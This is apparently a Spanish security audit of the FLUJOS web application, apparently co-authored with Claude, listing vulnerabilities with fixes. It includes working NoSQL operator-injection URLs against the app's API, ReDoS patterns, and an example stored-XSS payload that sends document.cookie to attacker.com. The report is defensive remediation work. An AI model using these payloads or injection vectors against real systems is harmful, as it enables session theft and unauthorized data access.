- docs/ → INFO/DOCS/CONTEXT/ (documentación técnica en markdown) - FLUJOS/DOCS/ + FLUJOS_DATOS/DOCS/ → INFO/DOCS/ (txts de arquitectura) - POCS/ → INFO/POCS/ (pruebas de concepto) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
6.4 KiB
Informe de Seguridad — FLUJOS
Fecha: 2026-04-21
Auditor: Análisis de código estático + pruebas manuales en local
Scope: API REST (FLUJOS_APP.js), frontend JS, configuración nginx/systemd
Resumen ejecutivo
La aplicación despliega una API Express + MongoDB sin autenticación ni rate limiting. Se han identificado 2 vulnerabilidades críticas explotables ahora mismo, 3 altas y 2 medias.
Vulnerabilidades encontradas
🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
Archivo: FLUJOS/BACK_BACK/FLUJOS_APP.js líneas 57–72
Estado: CONFIRMADA. Probada manualmente, devuelve datos reales.
Express parsea ?tema[$ne]=nada como el objeto JavaScript { $ne: "nada" }, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
Vectores explotables:
GET /api/data?tema[$ne]=nada&nodos=500
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
GET /api/data?tema[$gt]=&nodos=500
→ Equivalente a "todos los documentos donde tema > ''"
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
→ Itera toda la subcolección
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
→ Fuerza error de tipo, puede revelar stack traces en logs
Fix (10 min):
// En FLUJOS_APP.js, justo después de desestructurar req.query:
function sanitizeParam(val) {
if (typeof val !== 'string') return undefined;
return val.trim();
}
const tema = sanitizeParam(req.query.tema);
const subtematica = sanitizeParam(req.query.subtematica);
const palabraClave = sanitizeParam(req.query.palabraClave);
const fechaInicio = sanitizeParam(req.query.fechaInicio);
const fechaFin = sanitizeParam(req.query.fechaFin);
const nodos = sanitizeParam(req.query.nodos);
const complejidad = sanitizeParam(req.query.complejidad);
🔴 CRÍTICA 2 — Puerto 3000 expuesto públicamente
Estado: CONFIRMADA. ss -tlnp muestra 0.0.0.0:3000.
Node.js escucha en todas las interfaces. Cualquiera puede conectar directamente al backend Node sin pasar por nginx, evitando HTTPS y cualquier posible middleware de nginx.
LISTEN 0.0.0.0:3000 → accesible desde internet sin TLS
Fix (1 línea):
// FLUJOS_APP.js línea 235:
app.listen(port, '127.0.0.1', () => { ... }); // era '0.0.0.0'
🟠 ALTA 1 — XSS Almacenado (Stored XSS)
Archivo: FLUJOS/VISUALIZACION/public/output_int_sec.js línea 90–92
Archivo: FLUJOS/VISUALIZACION/public/3dscript_eco-corp.html líneas 88, 102
El contenido de nodos (content) proveniente de MongoDB se inserta con innerHTML:
detailPanel.innerHTML = `
<h2>Detalle</h2>
<pre>${content || 'No hay contenido disponible.'}</pre>
`;
Si la BD se compromete o un artículo scrapeado contiene HTML malicioso (<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>), se ejecuta en el navegador de todos los visitantes.
Fix:
const pre = document.createElement('pre');
pre.textContent = content || 'No hay contenido disponible.';
const h2 = document.createElement('h2');
h2.textContent = 'Detalle';
detailPanel.replaceChildren(h2, pre);
🟠 ALTA 2 — ReDoS via $regex sin sanitizar
Archivo: FLUJOS_APP.js línea 72
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
Un patrón como (a+)+$ o (.*a){20} puede bloquear MongoDB durante segundos o minutos (ataque de Denegación de Servicio).
Fix:
if (palabraClave) {
if (typeof palabraClave !== 'string' || palabraClave.length > 100) {
res.status(400).json({ error: 'palabraClave inválida' });
return;
}
// Escapar metacaracteres regex
const escapedKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
nodesQuery.texto = { $regex: escapedKw, $options: 'i' };
}
🟠 ALTA 3 — Sin rate limiting
No existe ningún límite de peticiones. Un script puede hacer miles de consultas/segundo, saturando MongoDB o la RAM del servidor.
Fix:
npm install express-rate-limit
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 60, // 60 peticiones por minuto por IP
standardHeaders: true,
legacyHeaders: false,
}));
🟡 MEDIA 1 — CSP con unsafe-inline
La CSP actual permite 'unsafe-inline' en scriptSrc. Esto anula la protección XSS de la CSP porque cualquier script inline se ejecuta sin restricción.
Origen del problema: los <script> inline en los HTML (fade-out del fondo, setTimeout).
Fix: Mover ese JS inline a ficheros .js separados y eliminar 'unsafe-inline' del CSP.
🟡 MEDIA 2 — Helmet parcialmente configurado / X-Powered-By expuesto
Solo se usa helmet.contentSecurityPolicy(), dejando otras protecciones de Helmet desactivadas. La cabecera X-Powered-By: Express está visible, revelando el stack.
Fix:
app.use(helmet()); // activa todo por defecto
app.use(helmet.contentSecurityPolicy({...})); // luego ajusta solo el CSP
Lo que está bien
| Componente | Estado |
|---|---|
| HTTPS con Let's Encrypt | Activo en nginx |
| MongoDB en 127.0.0.1 | No expuesto al exterior |
| Límite de nodos máx. 500 | `Math.min(parseInt(nodos) |
| Helmet CSP básico | Activo |
| No hay SQL injection | BD es MongoDB, no SQL |
| No directory listing en /wiki-images/ | Express static lo rechaza |
| HTTP → HTTPS redirect | Configurado en nginx |
Configuración nginx relevante (theflows.net)
/etc/nginx/sites-enabled/theflows.net
├── HTTP :80 → redirect 301 HTTPS
├── HTTPS :443 ssl http2 (Let's Encrypt)
│ ├── root: FLUJOS/VISUALIZACION/public (estáticos directos)
│ └── /api/ → proxy_pass http://127.0.0.1:3000/api/
Problema: el backend Node también escucha en 0.0.0.0:3000, así que nginx solo es un proxy opcional, no obligatorio.
Orden de prioridad de fixes
| # | Vulnerabilidad | Impacto | Esfuerzo |
|---|---|---|---|
| 1 | NoSQL Injection | CRÍTICO | 10 min |
| 2 | Puerto 3000 público | CRÍTICO | 1 línea |
| 3 | XSS stored (innerHTML) | ALTO | 15 min |
| 4 | ReDoS via palabraClave | ALTO | 10 min |
| 5 | Rate limiting | ALTO | 15 min |
| 6 | CSP unsafe-inline | MEDIO | 30 min |
| 7 | Helmet completo | MEDIO | 5 min |